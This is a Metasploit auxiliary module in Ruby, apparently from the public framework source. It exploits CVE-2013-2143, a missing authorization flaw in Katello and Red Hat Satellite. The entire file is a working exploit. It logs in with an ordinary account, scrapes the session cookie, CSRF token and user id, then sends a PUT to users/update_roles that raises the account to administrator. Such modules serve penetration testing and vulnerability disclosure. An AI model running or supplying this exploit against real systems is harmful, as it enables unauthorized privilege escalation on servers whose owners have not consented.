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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize
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    super(
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      'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',
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      'Description' => %q{
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          This module exploits a missing authorization vulnerability in the
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        "update_roles" action of "users" controller of Katello and Red Hat Satellite
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        (Katello 1.5.0-14 and earlier) by changing the specified account to an
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        administrator account.
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      },
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      'Author' => 'Ramon de C Valle',
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      'License' => MSF_LICENSE,
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      'References' => [
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        ['CVE', '2013-2143'],
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        ['CWE', '862'],
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        ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849']
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      ],
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      'DisclosureDate' => 'Mar 24 2014',
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      'Notes' => {
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        'Stability' => [CRASH_SAFE],
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        'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
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        'Reliability' => []
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      }
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    )
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    register_options(
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      [
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        Opt::RPORT(443),
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        OptBool.new('SSL', [true, 'Use SSL', true]),
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        OptString.new('USERNAME', [true, 'Your username']),
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        OptString.new('PASSWORD', [true, 'Your password']),
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        OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
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      ]
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    )
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  end
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  def run
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    print_status("Logging into #{target_url}...")
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, 'user_session', 'new'),
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      'vars_get' => {
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        'username' => datastore['USERNAME'],
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        'password' => datastore['PASSWORD']
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      }
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    )
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    if res.nil?
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      print_error('No response from remote host')
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      return
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    end
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    if res.headers['Location'] =~ %r{user_session/new$}
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      print_error('Authentication failed')
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      return
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    else
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      session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/
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      if session.nil?
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        print_error('Failed to retrieve the current session')
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        return
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      end
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    end
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    print_status('Retrieving the CSRF token for this session...')
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    res = send_request_cgi(
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      'cookie' => "_katello_session=#{session}",
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, 'dashboard')
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    )
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    if res.nil?
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      print_error('No response from remote host')
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      return
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    end
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    if res.headers['Location'] =~ %r{user_session/new$}
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      print_error('Authentication failed')
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      return
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    else
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      session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/
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      if session.nil?
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        print_error('Failed to retrieve the current session')
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        return
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      end
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    end
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    if res.headers['Location'] =~ %r{user_session/new$}
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      print_error('Failed to retrieve the user id')
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      return
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    else
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      csrf_token = ::Regexp.last_match(1) if res.body =~ %r{<meta +content="(\S*)" +name="csrf-token" */?>}i
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      if csrf_token.nil? && (res.body =~ %r{<meta +name="csrf-token" +content="(\S*)" */?>}i)
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        csrf_token = ::Regexp.last_match(1)
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      end
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      if csrf_token.nil?
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        print_error('Failed to retrieve the CSRF token')
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        return
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      end
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      user = ::Regexp.last_match(1) if res.body =~ %r{/users.(\d+)#list_search=#{datastore['USERNAME']}}
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      if user.nil?
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        print_error('Failed to retrieve the user id')
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        return
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      end
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    end
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    print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...")
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    res = send_request_cgi(
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      'cookie' => "_katello_session=#{session}",
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      'headers' => {
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        'X-CSRF-Token' => csrf_token
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      },
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      'method' => 'PUT',
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      'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'),
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      'vars_post' => {
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        'user[role_ids][]' => '1'
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      }
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    )
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    if res.nil?
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      print_error('No response from remote host')
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      return
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    end
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    if res.headers['X-Message-Type'] =~ /success$/
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      print_good('User updated successfully')
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    else
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      print_error('Failed to update user')
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    end
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  end
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  def target_url(*args)
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    (ssl ? 'https' : 'http') +
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      if rport.to_i == 80 || rport.to_i == 443
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        "://#{vhost}"
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      else
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        "://#{vhost}:#{rport}"
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      end + normalize_uri(target_uri.path, *args)
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  end
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end
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